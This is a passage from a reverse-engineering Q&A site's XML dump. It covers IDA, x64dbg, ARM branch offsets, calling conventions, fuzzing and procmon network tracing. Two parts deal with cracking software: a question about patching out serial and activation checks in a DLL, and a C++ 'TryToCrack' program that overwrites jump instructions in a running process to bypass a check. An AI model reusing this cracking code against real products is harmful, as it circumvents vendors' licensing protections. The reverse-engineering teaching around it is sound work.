LastActivityDate="2018-07-20T00:13:51.933" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18848" PostTypeId="2" ParentId="18846" CreationDate="2018-07-20T06:59:51.083" Score="3" Body="&lt;p&gt;I'm not sure if there is an option for that. What you could do is to close &lt;code&gt;Registers&lt;/code&gt; and some other frames that you do not use at the moment thus creating more space for the registers. To close the section, move to it with &lt;kbd&gt;TAB&lt;/kbd&gt; and then close with &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ac0r7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ac0r7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-07-20T06:59:51.083" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18849" PostTypeId="1" CreationDate="2018-07-20T13:54:24.043" Score="0" ViewCount="2052" Body="&lt;p&gt;I am debugging an executable in windows with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My exe sends a TCP packet and I want to see which function it uses to send the packets.&#xA;I looked on the import tab and haven't found any function that had the strings &lt;code&gt;tcp&lt;/code&gt; or &lt;code&gt;send buffer&lt;/code&gt; in their names or something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the function responsible for sending the TCP packet and how can I can see the buffer that is being sent (right before sending)?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="2147" LastEditDate="2018-07-22T12:47:19.063" LastActivityDate="2018-07-22T12:47:19.063" Title="How to breakpoint exe tcp packet" Tags="|ida|windows|breakpoint|networking|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18851" PostTypeId="1" AcceptedAnswerId="18852" CreationDate="2018-07-20T15:43:40.127" Score="3" ViewCount="452" Body="&lt;p&gt;Let's say I have an apk of an android fighting game. The mechanics of the game includes how characters use their skills, how the damages are calculated, etc. Are such mechanics stored within the apk? Or perhaps on the server-side? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="25082" LastActivityDate="2018-07-20T17:18:31.690" Title="does android apk contain game mechanics?" Tags="|android|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18852" PostTypeId="2" ParentId="18851" CreationDate="2018-07-20T17:00:17.120" Score="7" Body="&lt;p&gt;&lt;strong&gt;Short answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single player games most frequently do contain all the information hard coded in the APK.&#xA;Multiplayer games usually require more work such as packet analysis and more black box work but may contain some of the mechanics hard-coded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;&lt;strong&gt;Generally&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the app, usually, most single player games don't require any online verifications other than in-app purchases and such. Multiplayer game producers are less likely to reveal the mechanics behind the game, and try to depend as much as possible on server side verifications. Especially in games where PvP is present, thus even the pseudo random number generator used to calculate hits may be black boxed from the user to prevent any misuse/exploitation of the game mechanics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since performance over different connection strength is important, sacrifices could be necessary for maintaining sensible gameplay experience and as a consequence some game mechanics remain hard-coded in the APK to improve performance and reduce the load on the server (and may be encrypted and verified by server-side upon game load).&#xA;for example, instead of requesting the server to update player location on every input, a request is being made periodically to sync the server and client copy of the location which means that the core movement and physics mechanics must be stored on the client side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to understand the mechanics of a single player game without any kind of online verifications and little to no interactions with a server-side. Simple decompilation (or disassembly in case of obfuscation and NDK usage for example) would provide all the information required to understand all the game mechanics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On multiplayer games usually you need to resort to more through research which may include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;packet analysis&lt;/em&gt; - Observing interactions with the server are very useful and reveal a lot of useful information. But note that this information could be frequently black boxed, such as a request which contains a string similar to &lt;code&gt;hit target_object&lt;/code&gt; and the response may be just the same packet with a concatination of a number.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;local data observation&lt;/em&gt; - Another technique is to observe and analyse downloaded data from the server which might help revealing game mechanics (xp rate multipliers from items, additional hidden stats for items etc..) sometimes you might find yourself trying to unencrypt encrypted data which was downloaded and is verified each time a connection is made in hope to reveal some information on mechanics by observing the requests and responses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Debugging online games can sometimes be difficult due to crashes and disconnections from the server which may be the cause of getting out of sync and tgus observing the memory isn't very practical in the more intense online games which sync every couple of milliseconds with the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, it largely depends on how the game is constructed and on the nature of the client-server interactions.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastEditorUserId="60" LastEditDate="2018-07-20T17:18:31.690" LastActivityDate="2018-07-20T17:18:31.690" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18853" PostTypeId="1" CreationDate="2018-07-20T17:06:33.110" Score="1" ViewCount="2576" Body="&lt;p&gt;I've been working on reversing an extremely outdated piece of software that I happen to need in order to get at the information stored in some equally outdated &quot;database&quot; files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using x64dbg, I've patched out the validity checks for the serial / request / activation strings, and the software does successfully go through it's activation routine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I now need to export the correctly patched DLL in order for the software to work, but x64dbg will only &quot;apply&quot; 3/20 of the necessary patches. It will, however, export a .1337 patch file that contains all 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I getting wrong?&lt;/p&gt;&#xA;" OwnerUserId="25083" LastEditorUserId="24685" LastEditDate="2018-07-21T05:50:20.733" LastActivityDate="2019-09-08T20:00:31.363" Title="Outputting a patched DLL from x64dbg" Tags="|dll|patching|x64dbg|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18854" PostTypeId="1" CreationDate="2018-07-20T21:35:49.110" Score="1" ViewCount="70" Body="&lt;p&gt;I have 2 armv7-m (Thumb) branch instructions (in Hex) which call one function. Can you tell me how can I caculate the offset of this function, so that I can call it at other position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 0020922A - Hex: 07 F6 6C FE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 0020941A - Hex: 07 F6 74 FD&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have figured out how to caculate it:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So we have 07 F6 6C FE(arm - little endian) -&gt; F6 07 | FE 6C &lt;/li&gt;&#xA;&lt;li&gt;F6 07 | FE 6C = 1111 0110 0000 0111 | 1111 1110 0110 1100 &lt;/li&gt;&#xA;&lt;li&gt;Look at 5.19 (ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf) we will find how to get opcode: &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first half F6 07 = 1111 0110 0000 0111 = F000 + 607 &lt;/li&gt;&#xA;&lt;li&gt;The second half FE 6C = 1111 1110 0110 1100 = F800 + 66C&lt;/li&gt;&#xA;&lt;li&gt;66C &amp;lt;&amp;lt; 1 = 110011011000 = CD8 =&gt; offset = 607CD8 &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Is it correct? So we test it in: Offset 0020941A - Hex: 07 F6 74 FD &lt;/li&gt;&#xA;  &lt;li&gt;we have offset in this case is: 607CD8 - (0020941A - 0020922A) = 607AE8 &lt;/li&gt;&#xA;  &lt;li&gt;new branch instruction = F000 + 607 | F800 + (AE8 &gt;&gt; 1)&lt;/li&gt;&#xA;  &lt;li&gt;AE8 = 101011101000 -&gt; 10101110100 = 574 &#xA;  =&gt; F6 07 FD 74 :D/&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="25085" LastEditorUserId="25085" LastEditDate="2018-07-23T20:29:18.530" LastActivityDate="2018-07-23T20:29:18.530" Title="Trace back Offset Function" Tags="|ida|disassembly|offset|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18855" PostTypeId="1" AcceptedAnswerId="18856" CreationDate="2018-07-21T02:50:23.047" Score="4" ViewCount="6083" Body="&lt;p&gt;To self-teach myself reverse engineering, I am writing small C programs and reversing them in order to understands how the compiler sees my code. However, I am having quite tough time understanding the stack concept w.r.t command line arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a basic c code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char** argv){&#xA;&#xA;    if(argc &amp;lt; 2){&#xA;        printf(&quot;1 argument needed!&quot;);   &#xA;    } else {&#xA;        printf(&quot;\n -- %s Entered&quot;, argv[1]);&#xA;        printf(&quot;\n%s -- is the first argument\n&quot;, argv[0]);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The conversion is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bnshZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bnshZ.png&quot; alt=&quot;IDA Pro Free DSM Code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commented parts are where I am having a tough time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_10= qword ptr -10h&#xA;var_4= dword ptr -4&#xA;push    rbp ; understandable due to convention&#xA;mov     rbp, rsp ; same as above&#xA;sub     rsp, 10h ; why the space allocation? &#xA;mov     [rbp+var_4], edi ; ?&#xA;mov     [rbp+var_10], rsi ; ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25086" LastEditorUserId="53" LastEditDate="2018-07-21T05:54:12.697" LastActivityDate="2018-07-21T06:42:04.067" Title="Understanding Program Arguments on the Stack in Assembly" Tags="|assembly|c|stack|amd64|arguments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18856" PostTypeId="2" ParentId="18855" CreationDate="2018-07-21T06:42:04.067" Score="6" Body="&lt;p&gt;First of all, you have to understand that there is a specification for all these things. These specifications differ from one assembly language to another and from one operating system to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These global specification are called Application Binary Interface (ABI) and define, among other things, what we call the '&lt;em&gt;calling conventions&lt;/em&gt;' of functions. IDAPro seems to have found that your program is following the &lt;code&gt;cdecl&lt;/code&gt; convention but I doubt it is correct, I think that the calling convention used here is &lt;code&gt;fastcall&lt;/code&gt; within the &lt;code&gt;amd64&lt;/code&gt; SystemV ABI (see &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;noreferrer&quot;&gt;the wikipedia page about calling conventions&lt;/a&gt;). My guess is that you are using Linux...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the manipulation of &lt;code&gt;rpb&lt;/code&gt; and &lt;code&gt;rsp&lt;/code&gt; are just here to save the previous state of the stack-frame in order to restore it when you leave the function (you stack the content of &lt;code&gt;rbp&lt;/code&gt; on the stack with the hope that you will be able to restore it when you leave the function at the end). But, you already understood this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The space allocation (&lt;code&gt;sub rsp, 10h&lt;/code&gt;) come from the fact that you have to store one &lt;code&gt;int&lt;/code&gt; (&lt;code&gt;argc&lt;/code&gt;) of 4 bytes and one pointer to a &lt;code&gt;char*&lt;/code&gt; (&lt;code&gt;argv&lt;/code&gt;) of 8 bytes. I know, when added it is only 12 bytes and not 16 bytes (&lt;code&gt;10h&lt;/code&gt;). But, the access in memory for the CPU have been optimized when they are &lt;em&gt;aligned&lt;/em&gt; (meaning that they start at an address which is a power of 2, or, if you consider hexadecimal representation, the address must end with a &lt;code&gt;0&lt;/code&gt;). So, the compiler decided to round-up the memory needed to &lt;strong&gt;align&lt;/strong&gt; the data and be more efficient fetching it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you have the memory space available on the stack, now lets go fetch the data. So, for that you have to know what does the caller function before starting the function we are currently looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the previous function, before calling the function we are in, has stored the arguments of our function in some registers. Here, it is important to agree that all the function (caller and callee) will use the same set of registers to pass the arguments from the caller to the callee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, usually, the first integer argument is stored in &lt;code&gt;rdi&lt;/code&gt; and the second in &lt;code&gt;rsi&lt;/code&gt; (the full list of registers is listed &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Here, as the first argument is &lt;code&gt;argc&lt;/code&gt; an &lt;code&gt;int&lt;/code&gt;, a 32-bit register is enough (4 bytes), so we use &lt;code&gt;edi&lt;/code&gt; in place of &lt;code&gt;rdi&lt;/code&gt;. And, as the second argument is a pointer (&lt;code&gt;argv&lt;/code&gt;), we need the full 64-bit register &lt;code&gt;rsi&lt;/code&gt; (8 bytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do we do with this? Well, we store preciously &lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;argv&lt;/code&gt; within our stack-frame in the memory we just allocated before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the address stored in &lt;code&gt;rbp&lt;/code&gt; will not change all along the life of the current stack-frame (as we need it at the end to perform a &lt;code&gt;leave&lt;/code&gt; and restore the address of the &lt;code&gt;rbp&lt;/code&gt; of the previous stack-frame). So, most of the compilers will use &lt;code&gt;rbp&lt;/code&gt; as point of reference to call the variables which are local to the current stack-frame. Thus, &lt;code&gt;rbp+var_4&lt;/code&gt; refer to &lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;rbp+var_10&lt;/code&gt; refer to &lt;code&gt;argv&lt;/code&gt; from now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, that is about all you really need to know about the &lt;code&gt;fastcall&lt;/code&gt; convention in Linux. Now, the program should be more understandble to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped!&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2018-07-21T06:42:04.067" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18857" PostTypeId="1" CreationDate="2018-07-21T08:38:59.050" Score="2" ViewCount="99" Body="&lt;p&gt;Suppose I have a ton of test cases and my target is closed-source. Well, I need to know which test cases discover new path in the execution of my target and which are duplicated. I know I have to use DBI frameworks such as &lt;a href=&quot;https://www.dynamorio.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DynamoRIO&lt;/a&gt;, &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel Pin&lt;/a&gt; and others. But, I cannot figure out how to use them, in the other words, I got confused to how I should save trace map and check them for a ton of test cases!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question is, how can we figure out a test case is good and interesting during fuzzing test? Just discovering new path?&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="245" LastEditDate="2018-11-20T09:31:25.360" LastActivityDate="2018-11-20T09:31:25.360" Title="Detect interesting testcases" Tags="|binary-analysis|dynamic-analysis|instrumentation|fuzzing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18858" PostTypeId="2" ParentId="18857" CreationDate="2018-07-21T15:16:30.267" Score="1" Body="&lt;p&gt;If you want to discover new test cases (or check that a test case is valuable) on a binary, the good way to go is to use tools such as &lt;a href=&quot;https://klee.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;KLEE&lt;/a&gt; (see this &lt;a href=&quot;https://klee.github.io/tutorials/testing-function/&quot; rel=&quot;nofollow noreferrer&quot;&gt;small tutorial&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is too use &lt;a href=&quot;http://www.sti.uniurb.it/events/sfm14esm/slides/albert.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;symbolic execution&lt;/a&gt; to try to cover a maximum of the possible execution paths which are in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I would advise you to take a deeper look at the &lt;a href=&quot;https://web.eecs.umich.edu/~weimerw/2011-6610/reading/p213-godefroid.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;symbolic execution approach&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-07-21T17:53:24.463" LastActivityDate="2018-07-21T17:53:24.463" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18859" PostTypeId="2" ParentId="18814" CreationDate="2018-07-21T16:59:18.267" Score="1" Body="&lt;p&gt;Good news!  I've built an application in C++ that forces the instruction change until the end of the splash screen.  The code is NOT great, but the application is very stubborn and I had to time the loop just right otherwise the application just closes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code in case it helps anyone else.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #include &quot;stdafx.h&quot;&#xA;    #include &quot;iostream&quot;;&#xA;    #include &quot;atlstr.h&quot;;&#xA;    #include &amp;lt;windows.h&amp;gt;&#xA;    #include &amp;lt;TlHelp32.h&amp;gt;&#xA;    #include &amp;lt;stdio.h&amp;gt;&#xA;    #include &amp;lt;psapi.h&amp;gt;&#xA;    using namespace std;&#xA;&#xA;    #pragma comment(lib, &quot;Psapi.lib&quot;)&#xA;&#xA;    PROCESS_INFORMATION CreateVProcess();&#xA;    void TryToCrack(PROCESS_INFORMATION processInfo);&#xA;&#xA;    //&#xA;    // 85 c0 0f 84 9e 00 00 00&#xA;    // 85 c0 0f 85 9e 00 00 00&#xA;    // First offset 34EC7, do 34EC8&#xA;    //&#xA;    // second offset 34F03&#xA;    // 74 2E&#xA;    // EB 2E&#xA;&#xA;&#xA;    int main()&#xA;    {&#xA;        cout &amp;lt;&amp;lt; &quot;Launching Application&quot; &amp;lt;&amp;lt; endl;&#xA;        PROCESS_INFORMATION processInfo = CreateVProcess();&#xA;        cout &amp;lt;&amp;lt; &quot;Trying to crack...&quot; &amp;lt;&amp;lt; endl;&#xA;        TryToCrack(processInfo);&#xA;        return 0;&#xA;    }&#xA;&#xA;    PROCESS_INFORMATION CreateVProcess()&#xA;    {&#xA;        LPCTSTR path = L&quot;NameOfAppHere.exe&quot;;&#xA;&#xA;        // additional information&#xA;        STARTUPINFO si;&#xA;        PROCESS_INFORMATION pi;&#xA;&#xA;        // set the size of the structures&#xA;        ZeroMemory(&amp;amp;si, sizeof(si));&#xA;        si.cb = sizeof(si);&#xA;        ZeroMemory(&amp;amp;pi, sizeof(pi));&#xA;&#xA;        CreateProcess(&#xA;            path,&#xA;            NULL,        // Command line&#xA;            NULL,           // Process handle not inheritable&#xA;            NULL,           // Thread handle not inheritable&#xA;            FALSE,          // Set handle inheritance to FALSE&#xA;            0,              // No creation flags&#xA;            NULL,           // Use parent's environment block&#xA;            NULL,           // Use parent's starting directory &#xA;            &amp;amp;si,            // Pointer to STARTUPINFO structure&#xA;            &amp;amp;pi             // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)&#xA;        );&#xA;        return pi;&#xA;    }&#xA;&#xA;    void TryToCrack(PROCESS_INFORMATION processInfo)&#xA;    {&#xA;        Sleep(500);&#xA;&#xA;        HANDLE targetProcess = OpenProcess(STANDARD_RIGHTS_WRITE, 0, processInfo.dwProcessId);&#xA;        void* hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processInfo.dwProcessId);&#xA;        MODULEENTRY32 mod32;&#xA;        mod32.dwSize = sizeof(MODULEENTRY32);&#xA;        Module32Next(hSnap, &amp;amp;mod32);&#xA;&#xA;        DWORD modHandle = (DWORD)mod32.modBaseAddr;&#xA;&#xA;        unsigned char mem1 = 0x85;&#xA;        unsigned char mem2 = 0x75;&#xA;&#xA;        for (int i = 0; i &amp;lt; 100000; i++)&#xA;        {&#xA;            WriteProcessMemory(processInfo.hProcess, (LPVOID)(modHandle + 0x034EC8), &amp;amp;mem1, 1, NULL);&#xA;            WriteProcessMemory(processInfo.hProcess, (LPVOID)(modHandle + 0x034F02), &amp;amp;mem2, 1, NULL);&#xA;        }   &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25037" LastActivityDate="2018-07-21T16:59:18.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18860" PostTypeId="1" AcceptedAnswerId="18861" CreationDate="2018-07-21T17:54:43.823" Score="1" ViewCount="1478" Body="&lt;p&gt;After setting up a home lab and installing the latest IDA 7.0 freeware, I don't see the debugger submenu I was expecting -- I've only used it in an academic setting before and it came pre-configured for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the debugger a separate add-in that I need to install/enable?&lt;/p&gt;&#xA;" OwnerUserId="25090" LastActivityDate="2019-03-19T09:44:01.977" Title="Installed IDA 7.0 Freeware -- no debugger, is that installed separately?" Tags="|ida|debuggers|" AnswerCount="1" CommentCount="0" ClosedDate="2018-07-23T08:09:15.047" ContentLicense="CC BY-SA 4.0" />
  <row Id="18861" PostTypeId="2" ParentId="18860" CreationDate="2018-07-21T18:05:06.827" Score="2" Body="&lt;p&gt;The freeware version comes without such features as a debugger.&#xA;According to the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;freeware page&lt;/a&gt; on Hex-Rays site:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The freeware version of IDA v7.0 has the following limitations:&lt;/p&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;lacks support for many processors, file formats, debugging etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;IDA freeware is now released &lt;em&gt;with&lt;/em&gt; the debugging feature available since March 2019. The above quote no longer includes &amp;quot;debugging&amp;quot; on the free download page linked above.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-03-19T09:44:01.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18862" PostTypeId="2" ParentId="18322" CreationDate="2018-07-21T18:42:24.117" Score="1" Body="&lt;p&gt;Jumping off of Igor's suggestion of a trace, have you tried a break and trace via Cheat Engine yet? If not, consider the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Whether via byte array (requiring an AOB scan first; make sure you select read/write memory), module+offset, or symbol name (if applicable), find your way to the &lt;code&gt;crc32 edi, qword ptr [rsi+rax*8]&lt;/code&gt; instruction in Cheat Engine's disassembler (the top half of the Memory Viewer).&lt;/li&gt;&#xA;&lt;li&gt;Right-click on the instruction and choose &lt;code&gt;Break and trace instructions&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the subsequent window, check &lt;code&gt;Save stack snapshots&lt;/code&gt; and &lt;code&gt;Step over instead of single step&lt;/code&gt;, then click &lt;code&gt;OK&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Once the Tracer window populates with your trace, right-click within it and choose &lt;code&gt;Expand all&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Scroll to the farthest branch of the tree, of which the top-most instruction should be your &lt;code&gt;crc32 edi, qword ptr [rsi+rax*8]&lt;/code&gt; instruction.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;code&gt;Stack&lt;/code&gt; button and keep the window that opens (Stack View), beside the Tracer window.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now work your way down the list of recorded instructions (which will take you back up through callers with each branch). You can watch the registers on the right-hand side, as well as the stack via the Stack View window. You can double-click on any instruction in the Tracer to take you to that instruction in the disassembler, where you can then read up through sub-routines from callers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't enough branching for you, then run the trace again and change the initial number of instructions traced from 1000 to whatever you'd like. Also, if you find your way into a caller's sub-routine and there are other calls from within it that you'd like to drill down into, simply run another break/trace at some point before the call, then &lt;strong&gt;do not&lt;/strong&gt; select (or &lt;strong&gt;de-select&lt;/strong&gt;, if it's already selected) &lt;code&gt;Step over instead of single step&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally as another tip, in the Memory Viewer, if you run &lt;code&gt;Tools -&amp;gt; Dissect Code&lt;/code&gt;, you can then select the base module and any other dependencies to run a bunch of automated tasks on, like finding all referenced strings and functions, and finding all xrefs to all routines!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The xrefs one is great for being able to head to the prologue of any given function (right-click on any instruction and choose &lt;code&gt;Select current function&lt;/code&gt;, then scroll to the top) and quickly see how many callers there are (of which you can double-click any of to go to them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to quickly see if a function is shared, thus potentially acting as a pivot point to either patch with a &lt;code&gt;ret&lt;/code&gt; (or however you'd prefer to patch), or allowing you to choose which specific call instructions to that particular function you'd like to individually patch.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-07-21T18:42:24.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18863" PostTypeId="2" ParentId="18849" CreationDate="2018-07-21T20:37:45.723" Score="2" Body="&lt;p&gt;open &lt;a href=&quot;https://download.sysinternals.com/files/ProcessMonitor.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;procmon from sysinternals&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add a filter with your process name &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and take a look at stack trace &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you have configured symbols then you get a pretty good overview &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a small python server and client  (mod from wiki.python)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat server.py&#xA;import socket&#xA;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;s.bind(('127.0.0.1', 5005))&#xA;s.listen(1)&#xA;&#xA;conn, addr = s.accept()&#xA;print 'Connection address:', addr&#xA;while 1:&#xA;    data = conn.recv(20)&#xA;    if not data: break&#xA;    print &quot;received data:&quot;, data&#xA;    conn.send(data)  # echo&#xA;conn.close()&#xA;&#xA;&#xA;:\&amp;gt;cat client.py&#xA;import socket&#xA;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;s.connect(('127.0.0.1', 5005))&#xA;s.send(&quot;Hello, World!&quot;)&#xA;data = s.recv(1024)&#xA;s.close()&#xA;print &quot;received data:&quot;, data&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;procmon filtering only network activity of python.exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SMhle.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMhle.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;executing the server and client &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NXzeB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NXzeB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;procmon captured these network events&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aHqbp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aHqbp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is the call stack for the First TcpConnectEvent&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Frame,          Module,         Location&#xA;00,         ntkrnlpa.exe,       EtwpTraceNetwork + 0x55&#xA;01,         tcpip.sys,          TcpTraceConnectionEstablishment + 0xdc&#xA;02,         tcpip.sys,          TcpCreateAndConnectTcbComplete + 0x576&#xA;03,         tcpip.sys,          TcpSynchronizeTcbDelivery + 0x28&#xA;04,         tcpip.sys,          TcpTcbCarefulDatagram + 0x47e&#xA;05,         tcpip.sys,          TcpTcbReceive + 0x228&#xA;06,         tcpip.sys,          TcpMatchReceive + 0x237&#xA;07,         tcpip.sys,          TcpPreValidatedReceive + 0x293&#xA;8,          tcpip.sys,          TcpReceive + 